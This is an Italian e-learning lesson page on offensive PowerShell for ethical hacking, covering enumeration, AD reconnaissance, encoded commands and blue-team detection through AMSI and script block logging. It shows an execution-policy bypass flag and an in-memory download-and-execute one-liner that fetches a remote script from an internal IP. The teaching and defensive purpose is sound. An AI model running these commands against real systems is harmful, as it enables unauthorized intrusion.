PowerShell per gli attaccanti
PowerShell offensivo
PowerShell per gli attaccanti è una lezione Ethical Hacking Academy gratuita su CoddyKit. Questa è la lezione 4 di 4. Puoi leggere la lezione completa qui gratuitamente — poi esercitati direttamente nel browser con un editor di codice integrato e un tutor IA disponibile 24/7. Fa parte del percorso di apprendimento Ethical Hacking Academy, e i tuoi progressi si sincronizzano tra il web e l'app CoddyKit. Il corso Ethical Hacking Academy include 4 lezioni in totale.
Perché PowerShell
PowerShell è integrato in Windows, profondamente integrato con il sistema operativo e .NET e considerato affidabile dagli amministratori. Per questo è uno strumento living-off-the-land molto apprezzato dagli attaccanti: non è necessario introdurre malware.
Questa lezione tratta i concetti di PowerShell offensivo che deve comprendere per attaccare e difendere Windows.
Cmdlet e pipeline
I comandi di PowerShell sono cmdlet nella forma Verbo-Nome. Trasmettono lungo la pipeline oggetti complessi, non solo testo, rendendo potente l'enumerazione.
Get-Process | Where-Object { $_.CPU -gt 10 } | Select-Object Name, IdEnumerazione del sistema
Gli attaccanti usano i cmdlet integrati per analizzare rapidamente un host: utenti, servizi, rete e patch.
Get-LocalUser
Get-Service | Where-Object Status -eq 'Running'
Get-NetTCPConnection -State ListenLa execution policy non è sicurezza
La execution policy limita l'esecuzione dei file di script, ma non costituisce un confine di sicurezza. Molti semplici flag consentono di aggirarla, quindi i difensori non dovrebbero farvi affidamento.
powershell -ExecutionPolicy Bypass -File script.ps1Download ed esecuzione
Una tecnica comune scarica un payload e lo esegue in memoria, lasciando poche tracce sul disco. Per questo il monitoraggio della rete e di AMSI è importante.
IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.5/tool.ps1')Comandi codificati
Il flag -EncodedCommand esegue codice PowerShell codificato in Base64, spesso per nascondere l'intento da un'ispezione superficiale e da filtri semplici.
I difensori decodificano questi comandi nei log per rivelare ciò che è stato realmente eseguito.
powershell -EncodedCommand <base64-here>Framework offensivi
I toolkit maturi si basano su queste funzionalità di base:
- PowerSploit / PowerView — enumerazione di AD e post-exploitation.
- Empire / Covenant — command and control.
- Nishang — script offensivi.
Oggi la maggior parte di questi strumenti viene identificata efficacemente dalle difese basate sulle firme.
Ricognizione di Active Directory
In un dominio, PowerShell (PowerView o il modulo AD) mappa utenti, gruppi e relazioni di trust: la base per trovare un percorso verso Domain Admin.
Get-ADUser -Filter * -Properties LastLogonDate
Get-ADGroupMember 'Domain Admins'AMSI e logging
Microsoft ha aggiunto difese specifiche contro l'uso improprio di PowerShell:
- AMSI (Antimalware Scan Interface) analizza il contenuto degli script prima dell'esecuzione.
- Script Block Logging registra ciò che viene eseguito.
- Constrained Language Mode limita le funzionalità pericolose.
Gli attaccanti cercano di aggirare AMSI; i difensori monitorano i log.
Threat hunting difensivo
I blue team cercano PowerShell dannoso verificando la presenza di:
- Comandi codificati o offuscati.
- Richieste di rete tramite
DownloadString/IEX. - Processi padre insoliti (Office che avvia PowerShell).
- Log dei blocchi di script AMSI ed Event ID 4104.
Usarlo in modo etico
Queste tecniche sono potenti e corrispondono direttamente a intrusioni reali. Le esegua solo nel proprio laboratorio o con un'autorizzazione scritta esplicita.
Esercitarsi sull'aspetto difensivo — leggere i log e individuare gli alert di AMSI — è altrettanto utile dell'aspetto offensivo.
Verifica rapida
Valuti la execution policy come meccanismo di controllo.
Riepilogo
Ha esplorato PowerShell offensivo:
- I cmdlet basati su oggetti rendono l'enumerazione potente e discreta (living-off-the-land).
- Download ed esecuzione, comandi codificati e framework come PowerView/Empire.
- La execution policy non è sicurezza; AMSI e script block logging sono le vere difese.
- Operi sempre in modo etico e studi anche l'aspetto difensivo.
Questo completa il corso Windows Internals.
Domande Frequenti
La lezione «PowerShell per gli attaccanti» è gratuita?
Sì — il testo completo di «PowerShell per gli attaccanti» è gratuito qui sul web. Per esercitarvi in modo interattivo (un editor di codice integrato e un tutor IA 24/7) e sbloccare il resto del corso Ethical Hacking Academy, passa a CoddyKit PRO. Il corso Ethical Hacking Academy include 4 lezioni in totale.
Cosa imparerò in «PowerShell per gli attaccanti»?
PowerShell offensivo Eserciti Ethical Hacking Academy con codice pratico che esegui direttamente nel browser, e un tutor IA 24/7 risponde alle tue domande mentre lavori sulla lezione.
Ho bisogno di esperienza per iniziare Ethical Hacking Academy?
Non è richiesta alcuna esperienza precedente. Ethical Hacking Academy su CoddyKit è strutturato per principianti e studenti avanzati, quindi puoi iniziare da qui o dall'inizio e procedere al tuo ritmo. Questa è la lezione 4 di 4.
Quanto tempo richiede la lezione «PowerShell per gli attaccanti»?
La maggior parte delle lezioni CoddyKit richiede circa 5–10 minuti. Ogni lezione è breve e interattiva, quindi fai progressi costanti e riprendi esattamente da dove hai lasciato su web e app.
Posso scrivere ed eseguire codice in questa lezione Ethical Hacking Academy?
Sì. Ogni lezione Ethical Hacking Academy include un editor di codice integrato, quindi scrivi ed esegui codice reale direttamente nel tuo browser e ricevi feedback istantaneo dall'IA — nessuna configurazione locale necessaria.
Tutte le lezioni di questo corso
- Architettura di Windows
- Il Registro di sistema
- Autenticazione di Windows
- PowerShell per gli attaccanti